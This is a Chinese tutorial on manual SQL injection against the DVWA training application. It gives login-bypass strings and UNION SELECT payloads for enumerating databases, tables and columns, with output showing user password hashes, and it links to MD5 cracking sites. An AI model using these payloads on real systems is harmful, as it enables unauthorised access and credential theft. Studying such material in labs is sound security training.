SQL手工注入

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时间:2024-01-28
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两要素

  • 用户能够控制输入的内容
  • web应用把用户输入的内容,在没有经过过滤或者严格过滤的情况下带入到数据库中执行

分类

  • GET和POST
  • 整数型,字符型,搜索型

万能密码

’1 or 1 = 1#
1 or 1 = 1#

注释符:

  • -- (后面有空格)
  • --+
  • %23

注入流程:

  • 判断是否有注入信息
  • 获取数据库基本信息
  • 获取数据库名
  • 获取表名
  • 获取列名
  • 获取用户数据
  • 破解加密数据
  • 提权
  • 内网渗透

判断是否存在注入,判断注入类型-第一步

1 or 1 = 1#
1' or 1 = 1#

注:
get传参方式中大概率存在url编码
%20-->空格
%23--> 井号
%3d-->等号
加号可以代替空格

union select 注入-第二步

1' order by 1 -- 
1' order by 2 -- 
1' or 1 = 1 order by n -- 

判断列数可以使用二分法
假如只有两列,order by 3,那么就会报错-->用于判断列数

union:联合,合并。将多条查询语句的结果合并成一个结果

要求:

  • 多条查询语句的查询列数是一致的
  • union关键字默认去重,如果使用union all可以包含重复项

union联合注入-第三步

获取数据库中的信息:判断显示位

1' union select 1,2-- 

这里使用-1使union之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句

DVWA:

ID: 1' union select 1,2 #  
First name: admin  
Surname: admin

ID: 1' union select 1,2 #  
First name: 1 #显示位1
Surname: 2 #显示位2

union联合注入-第四步

获取数据库中的信息:用户、版本、数据库名

1' union select version(),user()#

常用函数:
user()返回当前使用数据库的用户
version()返回当前数据库版本
database()返回当前使用的数据库版本

DVWA

1' union select database(),user()#

ID: 1' union select database(),user()#  
First name: admin  
Surname: admin

ID: 1' union select database(),user()#  
First name: dvwa  #数据库名
Surname: root@localhost  #用户名

union联合注入-第五步

获取数据库信息:

  • SCHEMATA表:当前MYsql中所有数据库的信息。show databases命令:命令从这个表获取数据
  • TABALES表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型,存储引擎,创建时间等信息。show tables from database命令:从这个表获取结果
  • COLUMNS表:存储表中的列信息,包括表有多少列,每个列的类型等。show columns from tablename命令,从这个表获取结果

mysql中的user表中有两列:user,password两列中存在登录数据库的用户名和密码

查询库名

1' union select 1,schema_name from information_schema.schemata

# 查询information_schema库中的schemeta表

SQL手工注入
DVWA

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: admin  
Surname: admin

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: information_schema

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: challenges

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: dvwa

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: mysql

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: performance_schema

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: security

ID: 1' union select 1,schema_name from information_schema.schemata#  
First name: 1  
Surname: test

查询表名

1' union select 1,table_name from information_schema.tables where table_schema = database()#
这一步可以跳过库查询

1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#

SQL手工注入

DVWA

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: admin  
Surname: admin

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: 1  
Surname: guestbook

ID: 1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa'#  
First name: 1  
Surname: users

查询列名

1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #

1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = database() #

SQL手工注入

DVWA

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: admin  
Surname: admin

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: user_id

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: first_name

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: last_name

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: user

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: password

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: avatar

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: last_login

ID: 1' union select 1,column_name from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' #  
First name: 1  
Surname: failed_login

查询数据(利用列名、表名)

1' union select user,password from users #

DVWA

ID: 1' union select user,password from users #  
First name: admin  
Surname: admin

ID: 1' union select user,password from users #  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select user,password from users #  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' union select user,password from users #  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select user,password from users #  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select user,password from users #  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

union联合注入

字符串拼接
常用函数:

concat():将多个字符连接成一个字符串拼接
select concat('M','y','S','Q','L')

concat_ws():将多个字符串连接成一个字符串,但可以指定分隔符
select concat_ws('_','M','y','S','Q','L')

group_concat():将多行结果连在一起
select group_concat(user)from user;

DVWA

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: admin  
Surname: admin

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: admin_5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: gordonb_e99a18c428cb38d5f260853678922e03

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: 1337_8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: pablo_0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' union select 1,concat_ws('_',user,password) from users #  
First name: 1  
Surname: smithy_5f4dcc3b5aa765d61d8327deb882cf99

解密-第六步

https://cmd5.com/
https://www.somd5.com/
数据库自己的账号密码加密是mysql5的加密方式

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